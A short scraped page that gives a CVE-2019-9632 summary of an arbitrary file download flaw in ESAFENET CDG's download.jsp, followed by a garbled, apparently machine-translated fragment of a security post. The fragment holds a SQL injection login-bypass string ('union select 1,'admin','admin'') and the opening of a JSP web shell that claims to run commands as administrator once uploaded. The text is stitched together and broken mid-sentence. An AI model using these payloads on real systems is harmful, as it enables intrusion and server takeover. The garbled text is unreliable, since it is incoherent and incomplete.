CVE-2019-9632

ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request...

From download. jsp to the root-vulnerability warning-the black bar safety net

The pain of belief According to this structure:'//union//select//1,'admin','admin',1,1,1-password any %@ page import="java. util., java. io."%& gt; % % %-- abysssec inc public material just upload this file with abysssec. jsp and execute your command your command will run as administrator . you c...